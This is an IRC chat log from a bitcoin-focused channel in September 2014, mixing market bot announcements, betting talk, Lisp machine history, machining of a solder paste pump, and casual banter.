Forum logs for 25 Sep 2014

Sunday, 24 November, Year 11 d.Tr. | Author: Mircea Popescu
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asciilifeform << for other wretched n00bs in my situation [00:02]
assbot Tramming a Mill [00:02]
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asciilifeform ^ pictured is 'adult' machine, but geometry is 'one for all of us, like victory.' [00:02]
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thestringpuller bitpay is here [00:24]
thestringpuller they spend way too much money on swag [00:24]
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RagnarDanneskjol mod6 - P2Pool comes with a json api embedded. returns a json string that has the pool information. does this fit requirements for teh bot? [00:35]
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thestringpuller 3 key factors in a hot wallet [01:06]
thestringpuller * UX [01:06]
thestringpuller * Ability to easily make purchases/transactions [01:06]
thestringpuller * Security [01:06]
thestringpuller the latter one should be #1 [01:06]
assbot [MPEX] [S.MPOE] 21300 @ 0.00075375 = 16.0549 BTC [-] {2} [01:07]
penguirker New blog post: [01:16]
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jctb jespern Jezzz JimDowJones joesmoe Jondo jordandotdev julles julmac jurov justusranvier jwSchool [01:23]
mircea_popescu kakobrekla ^ [01:23]
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kakobrekla aha [01:26]
kakobrekla bb is configured to only take a very small part of server resources atm. [01:29]
kakobrekla so you can knock it down easier i guess. [01:29]
kakobrekla if you are after http server [01:30]
assbot [MPEX] [S.MPOE] 6450 @ 0.00075375 = 4.8617 BTC [-] [01:30]
assbot [HAVELOCK] [AM1] 98 @ 0.14235895 = 13.9512 BTC [-] {23} [01:33]
mircea_popescu kakobrekla in any case 100 hits/second is pretty heavy. [01:35]
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assbot [MPEX] [S.MPOE] 3177 @ 0.00075422 = 2.3962 BTC [+] {2} [01:41]
assbot [MPEX] [S.MPOE] 7273 @ 0.00075424 = 5.4856 BTC [+] [01:42]
mircea_popescu << possibly the most idiotic thing i read all week. [01:45]
assbot Archipelago and Atomic Communitarianism | Slate Star Codex [01:45]
mircea_popescu it seems i say that a lot these days. [01:45]
thestringpuller the bitpay people seem relatively sane [01:45]
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bounce sanity as currency. distilled and captured in shiny coins. [01:56]
mircea_popescu idiocy'd be more abundant. [01:57]
assbot [MPEX] [S.MPOE] 18050 @ 0.00075424 = 13.614 BTC [+] {2} [01:59]
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mircea_popescu asciilifeform << decent example of the moldavian exploitation of russian. [02:05]
assbot Mnnc i plng. Plng i mnnc…btaie… [02:05]
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assbot [MPEX] [S.MPOE] 5600 @ 0.0007527 = 4.2151 BTC [-] {2} [02:08]
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mircea_popescu "bărbații discutau despre zapceasti, porșni, zadnii hod și zajiganie" <> "the men were talking of запчасти, поршни, задний ход and зажигание." etc [02:09]
asciilifeform lol! [02:10]
asciilifeform dafuq! [02:10]
mircea_popescu i've been tellin' you, but tellin' is one thing and showing another [02:11]
asciilifeform then again, the blather of, e.g., a russian programmer, probably sounds rather similar to this - to english speaker [02:12]
mircea_popescu quite. [02:12]
asciilifeform 'soviet informatik' terminology like цикл (cycle) for 'loop' is, afaik, only remembered by the older folks who came of age on '70s-'80s books [02:13]
asciilifeform (or apprenticed, prior) [02:13]
mircea_popescu cycle happens to be a bad word for loop. [02:14]
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asciilifeform why? cyclical flow graph. [02:15]
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mircea_popescu because cycle has this connotation of immutability, whereas loop is adequately derpy. [02:16]
dignork asciilifeform: цикл it is, how is it called nowadays? [02:17]
* asciilifeform has heard various angloabominations [02:17]
dignork луп? sounds funny [02:18]
mircea_popescu lup ftw :D [02:18]
mircea_popescu (wolf, in romanian) [02:18]
dignork because залупа, лупоглазый etc. [02:18]
asciilifeform the kind homo homini x est ? [02:18]
asciilifeform lol! [02:18]
mircea_popescu yup [02:18]
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mircea_popescu zalupa hahaha [02:19]
mircea_popescu i tell you, it's perfect. [02:19]
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* asciilifeform grumbles at having purchased a 'dial indicator' instead of a 'dial test indicator' - entirely different animals [02:23]
kakobrekla at least you didnt get a plant. [02:26]
pete_dushenski unless it was nuclear. [02:28]
pete_dushenski nuless it was unclear. [02:28]
pete_dushenski asciilifeform: the question that almost begs to be asked is whether haakon (cortez, whoever) would immediately seize upon modern tech as being the product of long-dead wizards, as it is. << any books to recommend on cortez? [02:31]
pete_dushenski and entirely unrelatably, venice? [02:31]
* pete_dushenski hungry for history books [02:33]
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pete_dushenski thestringpuller: anyone from bitpay in WoT? << ayup. [02:47]
assbot Rating Details for User 'Pierre_Rochard' [02:47]
pete_dushenski ;;lastseen pierre_rochard [02:47]
gribble Error: "lastseen" is not a valid command. [02:47]
pete_dushenski ;;seen pierre_rochard [02:47]
gribble pierre_rochard was last seen in #bitcoin-assets 8 weeks, 6 days, 0 hours, 44 minutes, and 52 seconds ago: mircea_popescu: ah, well I’ll myself out then [02:47]
mats_cd03 << i have been enjoying this recently. re: BeOS, but a decent primer on how file systems work, too. [02:48]
pete_dushenski duty calls, hasta manana. [02:49]
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thestringpuller thanks pete hopefully you see this in the log [02:52]
assbot [MPEX] [S.MPOE] 1725 @ 0.00075193 = 1.2971 BTC [-] [02:54]
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mircea_popescu lmao thios guy. [02:56]
BingoBoingo !s woodchipper fan fiction [02:56]
assbot 0 results for 'woodchipper fan fiction' : [02:56]
mircea_popescu ;;later tell pete_dushenski lord norwich is the english authority on venice [02:56]
gribble The operation succeeded. [02:56]
mircea_popescu le origini di venezia etc for italian speakers. [02:58]
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BingoBoingo So the Virtual girlfriend fanboys found my post [03:01]
assbot What the Fuck is a Hashlet? | Bingo Blog [03:01]
mircea_popescu "Fluffypony, mircea popescu's asslicking troll buddy, watch out for these disinformation merchants also" [03:05]
mircea_popescu dude wut [03:05]
fluffypony wait wut [03:05]
fluffypony where's that from [03:06]
mircea_popescu our sustained pr campaign for a second [03:09]
mircea_popescu don't pretend like you don't know. [03:09]
mircea_popescu [03:09]
assbot The Truth About Monero's Risto Pietila (rpietila XMR) [03:09]
fluffypony oh shit I didn't even see that [03:10]
fluffypony I had no idea you were all-in on Monero [03:10]
fluffypony :-P [03:10]
mircea_popescu i have no idea what monero even is. [03:10]
mircea_popescu so technically spewaking i'm all out. [03:11]
mircea_popescu !s monero [03:11]
assbot 56 results for 'monero' : [03:11]
kakobrekla busted [03:11]
kakobrekla you dont read logs. [03:11]
mats_cd03 20:08:34 <+fluffypony> I had no idea you were all-in on Monero [03:11]
mircea_popescu < that. [03:11]
mats_cd03 20:08:59 <+mircea_popescu> i have no idea what monero even is. [03:11]
assbot Logged on 09-09-2014 14:10:58; mircea_popescu: hey fluffypony do you plan to eventually sell the monero idea here once it reaches some sort of maturity or do you just plan to wait indefinitely for b-a to figure it out ? [03:11]
mats_cd03 i loled. [03:11]
fluffypony !bash 7 [03:11]
assbot Last 7 lines bashed and pending review. ( ) [03:11]
mod6 RagnarDanneskjol: yeah, I noticed that. I'll work on it. [03:12]
mircea_popescu ;;isdown [03:12]
gribble Error: "isdown" is not a valid command. [03:12]
mircea_popescu ;;isitdown [03:12]
gribble is up [03:12]
mircea_popescu hm [03:12]
mircea_popescu moar dosing! [03:12]
kakobrekla a yea i recall [03:13]
assbot The Monero Free For All Thread [03:13]
fluffypony this entire "attack" has been such a fail [03:13]
fluffypony BCX sucks [03:13]
fluffypony I was hopign for fireworks [03:13]
fluffypony I was TOLD there would be fireworks [03:14]
fluffypony and literally all we did was roll a couple of extra checkpoints just in case, and asked exchanges to suspend deposits / withdrawals on the presumption of fireworks [03:14]
fluffypony waste of a good shit-show if you ask me [03:16]
fluffypony also can I get hanbot for our "sustained paid PR campaign" ? [03:17]
fluffypony :-P [03:17]
xmj g'morning [03:19]
xmj fluffypony: how are your monero port efforts doing? [03:20]
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fluffypony xmj: good, FreeBSD compataibility is being mainained [03:21]
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xmj fluffypony: cool :) [03:22]
mircea_popescu i thought she was banned. [03:22]
mircea_popescu anyway, what is bcx [03:22]
xmj ever found a minion to create+submit a port for it that we could commit? [03:22]
fluffypony xmj: not yet, it's on the list [03:23]
xmj :) [03:23]
fluffypony mircea_popescu: BitcoinExpress [03:23]
mircea_popescu BitCoin-Express Basic. Unlimited Data Space Unlimited Monthly Traffic 1 Domain Hosted Free VPN Access (5 GB) Browsable Daily Backups [03:23]
mircea_popescu mkay... [03:23]
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fluffypony here [03:26]
fluffypony an overview [03:26]
fluffypony [03:26]
assbot BitcoinEXpress - self made legend? [03:26]
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mircea_popescu dude all these ephemereal legends nobody heard of, nobody'll hear of. [03:29]
fluffypony where is the "fluffypony - a legend's legend?" forum post [03:30]
fluffypony I am disappoint [03:30]
mircea_popescu " his crypto skills ". where puas move on [03:30]
mircea_popescu basically tardstalk is by now goons trolling goons. [03:31]
fluffypony yeah bitcointalk has gone way past eternal September [03:31]
fluffypony and entered full on scamforums mode [03:31]
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fluffypony ok I'm out, cheers [03:34]
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mod6 %p [04:06]
atcbot >> No data returned from << [PityThePool Hashrate]: 0.00 GH/s [iSpace Pool Hashrate]: 0 TH/s [P2P Hashrate]: 1.39 TH/s [04:06]
mod6 %p2p [04:07]
atcbot [P2P Hashrate]: 1.39 TH/s [04:07]
mod6 %ispace [04:07]
atcbot [iSpace Pool Hashrate]: 0 TH/s [04:07]
mod6 RagnarDanneskjol: ok, all set. [04:08]
RagnarDanneskjol cool [04:08]
mod6 If another month goes by without any coinminer data, i'll just pull it. [04:08]
RagnarDanneskjol k [04:08]
mircea_popescu sounds legit. [04:08]
mod6 Just sick of seeing it without data. heheh. [04:09]
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mod6 oh, and RagnarDanneskjol, if you see that P2P pool changes its name to something else, let me know. thanks! [04:13]
RagnarDanneskjol will do [04:13]
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BingoBoingo Time to go short on corn prices [04:25]
assbot Metro-east news from Belleville, IL | Belleville News-Democrat [04:25]
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decimation asciilifeform: I watched the Kalman Reti smbx video, got a flavor of the unqiueness of symbolics hardware [04:30]
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BingoBoingo That was a good one [04:31]
decimation what intrigued me was the mention of the vlsi design software that was written in lisp [04:31]
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BingoBoingo Oh there's a media outlet worse than >> [04:42]
assbot ESPN Suspends Bill Simmons Three Weeks Over Goodell Criticism [04:42]
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mircea_popescu wait [04:48]
mircea_popescu they're suspending these people now for what they SAY ?! [04:48]
mircea_popescu don't even have to do anywthing ? [04:48]
mircea_popescu a nm thought it [04:48]
mircea_popescu s some athlete [04:49]
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mircea_popescu kakobrekla etc [04:51]
assbot BitBet - Alibaba shares above 115 before November 25th :: 0.08 B (47%) on Yes, 0.09 B (53%) on No | closing in 1 month 3 weeks | weight: 92`819 (100`000 to 1) [04:51]
assbot Bitcoin Address 1BR82MnZ2XdYM1R7Csdg9oaaoz3qEbW3S2 [04:51]
assbot BitBet - Billion dollar bet? :: 1.01 B (15%) on Yes, 5.72 B (85%) on No | closing in 5 months 1 week| weight: 96`757 (100`000 to 1) [04:51]
mircea_popescu lol [04:51]
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nubbins` [04:54]
assbot Do gut bacteria rule our minds? | University of California [04:54]
peterl is it more likely that 2 million bitcoins will be bet on that bet or that the price of bitcoin will rise 1000x? [04:55]
thestringpuller damn that would be a phenomenon of sorts [04:56]
thestringpuller if the billion dollar bet resolves yes [04:56]
thestringpuller the b-h will 99% likely resolve yes too [04:56]
BingoBoingo mircea_popescu: Not an athlete, a reporter. Suspended for... Gasp... Reporting!!! [04:56]
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assbot [HAVELOCK] [HASH] 1000 @ 0.00149131 = 1.4913 BTC [+] {6} [05:06]
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cazalla lol paypal increasing charge back period from 45 days to 180 [05:08]
cazalla so now cheeky cunts can mine for 180 days and send it back for refund [05:09]
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ben_vulpes what intrigued me was the mention of the vlsi design software that was written in lisp << me too. has the source been lost? [05:23]
decimation that was my question. the follow-up question being: does the vlsi design exist (presumably in vhdl)? [05:24]
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mircea_popescu peterl good q. [05:38]
mircea_popescu day of the good q's [05:39]
peterl I suppose the billion dollar bet could hit yes if btc/usd price and amount bet each go up ~30x [05:39]
assbot [MPEX] [S.MPOE] 21900 @ 0.00075321 = 16.4953 BTC [+] [05:40]
mircea_popescu a bet that was at 3k 6months out could conceivably end up in the 5-6 figures. [05:40]
mircea_popescu esp if there's an upset [05:41]
decimation really the bet is brillant pr. media idiots love far-off artificial deadlines with artificial drama [05:41]
mircea_popescu not much love shown so far. [05:41]
BingoBoingo The berkshire bet coul break 10k btc easily if BTC hits $700 in three months [05:42]
decimation if the scenario that peterl proposes comes remotely true, I suspect it will get love [05:42]
mircea_popescu now this im sure [05:42]
mircea_popescu that's the thing, by now the action there is fabulous [05:43]
* assbot gives voice to TheNewDeal [05:45]
BingoBoingo Fuck, there's still time for to get interesting which could really drive up the Berkshire pot [05:46]
assbot BitBet - 1BTC >= $10,000 USD :: 75 B (9%) on Yes, 755.29 B (91%) on No | closing in 1 month 3 weeks | weight: 15`525 (100`000 to 1) [05:46]
mircea_popescu if that yeses out... o boy. [05:46]
mircea_popescu someone stands to make a cool mn or somethign. [05:46]
BingoBoingo How quick did shit spike up last fall [05:46]
mircea_popescu two weeks! [05:46]
BingoBoingo Right. While $600 to $400 this years was what... one, two months? It Bitcoin the falls are long and labored, but the rallies... [05:47]
mircea_popescu this is perhaps the only point of technical analysis with any merit. [05:48]
TheNewDeal Drops happen fast as well? [05:49]
TheNewDeal Same with rebounds [05:49]
peterl so to get yes on brk-a bet, at this point btc would have to get over 666 usd, that doesn't seem that high yet bitbet is favoring no [05:49]
mircea_popescu peterl there's a latency. heavy no bets came in this week, perhaps not balanced oyut yet [05:50]
TheNewDeal like december 18th 2013 [05:50]
mircea_popescu TheNewDeal hm. [05:50]
BingoBoingo Drops happen fast as well? << Only really drops fast after decisive peaks [05:50]
mircea_popescu this is why it's ta :D [05:50]
TheNewDeal Feb 9th 2014 wasn't after a peak [05:51]
BingoBoingo TheNewDeal: Maybe we measure time differently... [05:51]
peterl my tea leaves are saying RALLY!!! [05:51]
TheNewDeal Definitely. I'm a new comer [05:51]
TheNewDeal And bitcoin years are like the hypothetical dog years [05:52]
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BingoBoingo I mean last fall was the anomalie in that it has a rally whereas 2011 and 2012... stagnation... [05:53]
TheNewDeal Wasn't 2011 a large increase year? [05:54]
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BingoBoingo It was for a while... [05:54]
TheNewDeal when did the btc / usd ratio go > 1 ? [05:55]
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BingoBoingo And interesting question, right before it dropped to 0.7 [05:56]
decimation as I recall it was the summer of 2011 [06:02]
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TheNewDeal Wasn't sure if it went 10 / 1 in the same year, or if that was the next. [06:05]
TheNewDeal ;;timesincebitcoinwas10usd [06:06]
gribble Error: "timesincebitcoinwas10usd" is not a valid command. [06:06]
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xmj TheNewDeal: 3 years [06:07]
BingoBoingo [06:07]
assbot An Illustrated History Of Bitcoin Crashes - Forbes [06:07]
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TheNewDeal So it did cross 1:1 and 10:1 in 2011. I'd say that's an up year [06:08]
BingoBoingo Well, really it was probably the first year [06:09]
TheNewDeal Is that the year mt gox switched over from Magic the Gathering cards ;) [06:10]
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BingoBoingo Good question [06:14]
TheNewDeal Just rapid-fired like 20 questions. Feel free to ignore them [06:14]
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BingoBoingo Not ignoring so much as distracted, and the Google is a thing [06:16]
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asciilifeform decimation: vlsi design software << yes, it was. and they actually... used it. [06:17]
asciilifeform decimation: i asked dan schmidt whether he'd sell it - he answered that he won't, it's in some kind of eternal legal limbo (sub-licensed somewhere, or the like.) [06:17]
decimation asciilifeform: reminds me of chuck moore writing his own vlsi design in forth [06:18]
asciilifeform mats_cd03: practical-file-system-design << old favourite of mine. [06:18]
decimation it would be interesting if some rich prince 'rescued' the symbolics assets just for shits [06:18]
TheNewDeal ;;later tell ThickAsThieves any response on that foia yet? [06:19]
gribble The operation succeeded. [06:19]
asciilifeform decimation: does the vlsi design exist (presumably in vhdl) << afaik it was lisp from day 1 (mit cadr was hand-drawn, after that - 'ourobourus'-like tail-eating iterative design...) [06:20]
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decimation like, it produced a netlist? [06:21]
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asciilifeform decimation: netlist << nope. the actual masks, ready for tapeout. [06:21]
asciilifeform (naturally, netlist first, etc) [06:21]
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decimation that is impressive. [06:21]
decimation I remember when beos was a thing, raging fast, low latency. too bad it petered out [06:22]
asciilifeform very few of these things feel 'impressive' after you learn just how intrinsically simple all of our tech stack is [06:22]
asciilifeform when you strip away the crapolade. [06:22]
decimation I guess I'm thinking "must recreate xilinux crapware, mentor graphics crapware, & various glue code" [06:23]
decimation but much of that stuff is redundant [06:23]
asciilifeform all of it. [06:23]
asciilifeform the only thing intrinsically necessary is a compact way to tell the photomask printer what to do... [06:24]
decimation unfortunately, unless one is going mask one's own chips, we are stuck with fgpa's and rtl [06:25]
* asciilifeform just emerged from ~4 hrs of lathe work, does in fact appreciate the difficulty of apparently simple things. but the extant computing stack - is still a pile of shit. [06:25]
TheNewDeal what where you lathing? [06:28]
asciilifeform TheNewDeal: approximately the gadget pictured here: [06:29]
assbot Piston Pump, positive displacement pump [06:29]
asciilifeform (only the pieces with the red flow diagram depicted) [06:29]
decimation heh, you gonna make a pump for solder paste? [06:30]
asciilifeform more or less obvious from the link, no ? [06:30]
decimation yep. what about the little micro-screw-needle [06:30]
asciilifeform the business end? [06:31]
decimation yeah [06:31]
asciilifeform that's the single solitary part that's actually readily available off the shelf, a dime a dozen. [06:31]
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decimation no the auger valve you wrote about a few months ago [06:33]
asciilifeform at chinese factories, they go through astounding quantities of such needles when dispensing glue - hence cheap. [06:33]
asciilifeform nope. [06:33]
decimation [06:33]
assbot Logged on 23-07-2014 03:10:06; asciilifeform: state of the art, it turns out, is 'auger valve' - think: small archimedes screw. [06:33]
asciilifeform auger valve is in some ways a nicer design [06:33]
asciilifeform but quite difficult to achieve given the tolerances of a cheap desktop non-cnc lathe. [06:34]
decimation yeah makes sense [06:34]
decimation so you are going to build a 'better' glue squirter [06:34]
asciilifeform and yes all of this could theoretically be bought. [06:34]
asciilifeform but - golden toilet. [06:34]
decimation yeah I understand. [06:34]
asciilifeform 'better' in the sense that 1) it easily beats the controlled-air-puff dispenser i was using previously, which is almost unusably inaccurate and, [06:35]
asciilifeform 2) can be had. really nice things exist, are used in 'adult' factories - but cannot be had. [06:35]
decimation So if you can control the fine pump pressure dynamically you might be able to prevent the 'drool' problem [06:36]
asciilifeform 'positive displacement' here means, easily, that no more turd can emerge from the needle than is actually inside the needle [06:36]
asciilifeform as a theoretical maximum [06:36]
asciilifeform ('rabbit can be pulled out of hat only to the extent said rabbit is actually in the hat.' [06:37]
asciilifeform ) [06:37]
asciilifeform no need to control pressure to any great extent, that's the whole fscking point of pos. disp. pumps. [06:37]
asciilifeform just need enough air pressure in syringe to keep the paste flowing into the work chamber on the piston's up-stroke. [06:38]
asciilifeform (but not so much that it is able to overcome the needle.) [06:38]
decimation yeah I guess there is no air in the chamber, so it's all incompressible [06:38]
asciilifeform correct. [06:38]
asciilifeform (there are circumstances where air can mix with the paste, but i will not describe them here - we've already put everyone to sleep.) [06:39]
* BingoBoingo is far from asleep [06:40]
decimation looks to me that a likely leakage path would be the upstroke phase - air could leak around the piston [06:41]
TheNewDeal may have just fixed my dial indicator. Feel like I working in a chinese sweatshop for the last half hour [06:42]
asciilifeform TheNewDeal: what was the occasion for dial indicator ? [06:42]
nubbins` odd coincidence, my dial test indicator showed up today [06:43]
TheNewDeal use them for a few things at work. One is to make sure that gears are meshed well enough [06:43]
asciilifeform nubbins`: odd coincidence, i ordered one today [06:43]
asciilifeform (previously had only 'dial indicator') [06:43]
nubbins` read that earlier, i have no dial test indicator ;( [06:43]
asciilifeform it'll be - an ancient 'mitutoyo' [06:44]
asciilifeform i keep waiting for someone here to suggest 'use peristaltic pump' [06:47]
asciilifeform (then i'd have to explain how this doesn't work, sadly, and for nonobvious reason) [06:47]
decimation is it because it would smash the solder balls? [06:48]
asciilifeform TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... [06:48]
asciilifeform it would smash the solder balls << nope. the standard methods (auger and piston) actually do. and this limits the life of the apparatus (smashed balls end up adhering to the inside bores.) [06:48]
TheNewDeal hahaha I hardly constructed one. Just borrowed a tiny screwdriver from the tools that ship with the machine [06:49]
asciilifeform problem with peristaltic is that it operates in bursts (one 'squeeze') which always end up too long. [06:49]
BingoBoingo (then i'd have to explain how this doesn't work, sadly, and for nonobvious reason) << it could work if instead you went for living fabrication machines as the Flinstones did. [06:49]
decimation couldn't you construct a really tiny paristaltic pump? [06:50]
asciilifeform decimation: you can, but you get odd behaviour - considering that you aren't pumping a fluid in the usual sense [06:50]
asciilifeform but a suspension of metal balls. [06:50]
decimation yeah I suspect as the ID of the tube approaches the size of the balls weird stuff would happen [06:51]
asciilifeform peristaltic pump also stretches the tube if the business end is clogged (as it inevitably becomes) [06:51]
asciilifeform weird stuff happens in all of the listed designs. it's a problem to which there isn't really a fully satisfactory solution. [06:52]
asciilifeform (solder paste in 'adult' industry is simply never pumped. they use stencils, afaik.) [06:52]
BingoBoingo peristaltic pump also stretches the tube if the business end is clogged (as it inevitably becomes) << In the prototypical models Magnesium citrate tends to clear this well. [06:53]
decimation yeah I was reading about how they ditched laser cut designs for photoetching [06:53]
decimation for stencils that is [06:54]
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decimation << watch the annoying australian run his design on an 'adult' assembly line, with solder paste, pick n' place and oven [06:56]
assbot EEVblog #264 - SMD PCB Pick & Place Machine Assembly - YouTube [06:56]
decimation it's amusing that the solder paste machine is pretty much just a giant squeegee, but all dressed up [06:58]
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decimation the other thing that interested me about the symbolics video was the fact that the machine had a global namespace [07:07]
assbot [HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5} [07:10]
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ben_vulpes TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development? [07:17]
ben_vulpes homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time. [07:22]
ben_vulpes homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices. [07:22]
ben_vulpes hardware: risk hands [07:22]
ben_vulpes software: risk sanity [07:22]
ben_vulpes le travail, c'est le travail [07:23]
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assbot [HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+] [07:30]
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mircea_popescu ;;ticker [07:34]
gribble Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763 [07:34]
mircea_popescu scam tealeaves [07:35]
asciilifeform ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. [07:36]
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mircea_popescu one of the biggest promises of hard ai is the computer that slaps the human upside the head [07:38]
decimation it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS [07:38]
mircea_popescu for "coding innovations" [07:38]
mircea_popescu ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point. [07:40]
asciilifeform obligatory: [07:40]
assbot Software Does Not Fail [07:40]
mircea_popescu "Marketing is hard. We wrote an ebook." fucking shot these idiots already [07:43]
BingoBoingo Marketing is easy, make someone angry. [07:43]
mircea_popescu lol [07:44]
penguirker New blog post: [07:44]
mircea_popescu wow no way, you lasted a year ?! [07:44]
decimation asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core? [07:45]
mircea_popescu if the archives bother you you can just make a dropdown [07:45]
asciilifeform decimation: brad parker has a cadr emulator (and a 'verilog' version of the 74xxx circuits!) on his site, read yourself. [07:46]
asciilifeform there can never be a substitute for actually seeing the original. [07:46]
BingoBoingo mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing. [07:46]
asciilifeform congrats BingoBoingo [07:46]
* decimation found, is reading [07:47]
decimation I assume it's the unlambda stuff? [07:47]
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asciilifeform decimation: yes [07:47]
mircea_popescu BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line [07:47]
asciilifeform [07:48]
assbot Retrocomputing - MIT CADR Lisp Machines [07:48]
mircea_popescu it's pretty awesome to look at, but hey. [07:48]
mircea_popescu still takes space and loads the page with a lot of html [07:48]
BingoBoingo Also most clicked through link today, since... the hashlet.virtual-girfriend people can though has been the woodchipper fanfic [07:48]
assbot Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction [07:48]
BingoBoingo I might play with the archives again if their quarentine page gets too big... [07:49]
mircea_popescu i need an intern. [07:53]
mircea_popescu if anyone wants to intern, get in touch. [07:53]
asciilifeform intern at what ? [07:53]
mircea_popescu at derping online. [07:55]
asciilifeform what will the intern learn? [07:55]
asciilifeform how to transition from grade 4 to grade 5 derpatronic engineer ? [07:55]
BingoBoingo Any particular venues for derping? [07:56]
mircea_popescu notrly. interns generally learn how to stop drifting aimlessly around [07:56]
mircea_popescu and where the gates to careers are, how they look and how the ywork [07:56]
asciilifeform generally learn how to stop drifting aimlessly around << this is particularly funny to me, as i 'knew exactly what to do' before interned as a kid, and then began to doubt... [07:57]
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decimation "I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf [07:58]
BingoBoingo !b 1 [07:58]
assbot Last 1 lines bashed and pending review. ( ) [07:58]
mircea_popescu asciilifeform exactly. it's how it'd look :) [07:59]
asciilifeform [08:00]
decimation lol really the 'chipper' in that case should be labeled 'justice 'system'' [08:01]
nubbins` [08:15]
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assbot [MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-] [08:27]
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BingoBoingo ;;ticker --market all [08:43]
gribble Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988 [08:43]
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assbot [HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4} [08:51]
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ben_vulpes what is this point of socrates' re marriage? [09:17]
mircea_popescu some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher. [09:18]
mircea_popescu !up Takeshi [09:18]
-assbot- You voiced Takeshi for 30 minutes. [09:18]
* assbot gives voice to Takeshi [09:18]
mircea_popescu !up Lycerion [09:18]
-assbot- You voiced Lycerion for 30 minutes. [09:18]
* assbot gives voice to Lycerion [09:18]
ben_vulpes ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel [09:19]
ben_vulpes it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place. [09:20]
ben_vulpes hysteresis [09:20]
mircea_popescu now this is a point. decoupled risk and reward => moral hazard [09:21]
ben_vulpes reeeeeeally bad feedback loops. [09:21]
ben_vulpes anyways, nite. [09:21]
ben_vulpes yeah. software hazard. [09:21]
ben_vulpes there's something in here about buying others risk [09:21]
ben_vulpes but again, it's late. [09:22]
mircea_popescu ;;bc,stats [09:36]
gribble Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469 [09:36]
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Vexual did cazalla find any feedback loops regarding dcc? [09:45]
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assbot [MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2} [09:53]
assbot [HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+] [09:54]
Vexual did asciilifeform solve paste dilemma? [09:56]
Vexual did mircea buy an island? [09:57]
Vexual did vulpes mom really turn off his computer? [10:07]
BingoBoingo !b 3 [10:07]
assbot Last 3 lines bashed and pending review. ( ) [10:07]
assbot [MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+] [10:11]
assbot [HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3} [10:15]
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mircea_popescu every man is an island [10:25]
Vexual immma ut that in my little popescue journal here [10:26]
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* assbot gives voice to davout [10:39]
davout ohai [10:39]
Vexual salutations [10:40]
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fluffypony davout's alive! [10:41]
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xmj youre alive again too [10:48]
xmj fluffypony: for lulz, did you see the couple getting married "on the blockchain" ? [10:48]
fluffypony yes [10:48]
xmj libertarian friends of mine :3 [10:49]
xmj somehow the BTC community is very tightly knit, it seems. [10:49]
mircea_popescu logic. [10:55]
mircea_popescu davout didja survive the honey ? [10:56]
davout what do i look like, bacteria? [10:56]
mircea_popescu lol [10:57]
mircea_popescu a month of honey is no joke. [10:57]
davout we both survived [10:57]
fluffypony and you haven't killed each other? [10:57]
davout i do have a movie of fanny being attacked by clownfish tho [10:57]
fluffypony lol [10:58]
mircea_popescu i forget which are the clownfish [10:58]
mircea_popescu are they the bisexual ones ? [10:58]
mircea_popescu davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ? [10:59]
davout they're protoandrous i think [11:00]
davout they change sex at some point [11:00]
mircea_popescu well on that note, ima go change dreams. laters [11:06]
* Now talking on #bitcoin-assets [19:46]
* Topic for #bitcoin-assets is: || || || [19:46]
* Topic for #bitcoin-assets set by kakobrekla!~kako@unaffiliated/kakobrekla at Wed Mar 5 21:58:12 2014 [19:46]
-assbot- Welcome to #bitcoin-assets. To get voice (ie, to be able to speak), first identify with gribble and then send "!up" to assbot in a private message. If you do not have a WoT account, try politely asking one of the voiced people for a temporary pass. [19:46]
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mircea_popescu ;;ticker [19:48]
gribble Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359 [19:48]
nubbins` "but paypal" etc [19:49]
ThickAsThieves give it a couple weeks [19:50]
mats_cd03 i am rooting for 200 before xmas [19:51]
mircea_popescu 200 srsly ? [19:51]
ThickAsThieves not happening [19:51]
nubbins` !b 3 [19:51]
